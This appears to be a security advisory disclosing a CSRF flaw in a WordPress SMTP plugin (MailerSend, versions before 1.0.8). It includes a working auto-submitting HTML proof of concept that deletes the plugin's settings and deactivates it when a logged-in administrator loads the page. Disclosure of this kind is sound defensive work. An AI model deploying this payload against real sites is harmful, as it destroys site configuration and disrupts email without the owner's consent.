MailerSend – Official SMTP Integration < 1.0.8 – Settings Deletion and Plugin Deactivation via CSRF | CVE 2026-13156

Description

The plugin does not perform a nonce check on its configuration-delete action (it verifies the manage_options capability but ignores the nonce), so an attacker can trick a logged-in administrator into visiting a crafted page that wipes the plugin's SMTP configuration and deactivates the plugin, breaking the site's email delivery.

Proof of Concept

To reproduce the vulnerability:
1. Log in to the WordPress site as an Administrator.
2. Save some MailerSend SMTP configuration settings.
3. Save the following HTML code as a file on a separate server or open it locally:
```html
<!-- CSRF PoC to delete MailerSend SMTP configurations and deactivate the plugin -->
<form action="http://localhost:8081/wp-admin/admin.php?page=mailersend_config" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="mailer_delete" />
    <input type="submit" value="Exploit CSRF" />
</form>
<script>
    // Automatically trigger the submission
    document.getElementById('csrf-form').submit();
</script>
```
4. Change `http://localhost:8081` to your WordPress test website URL.
5. Access the HTML file in the same browser where the Administrator is logged in.
6. The browser will be redirected to the plugins list, and you will see that MailerSend has been deactivated and all its saved options in the database have been deleted.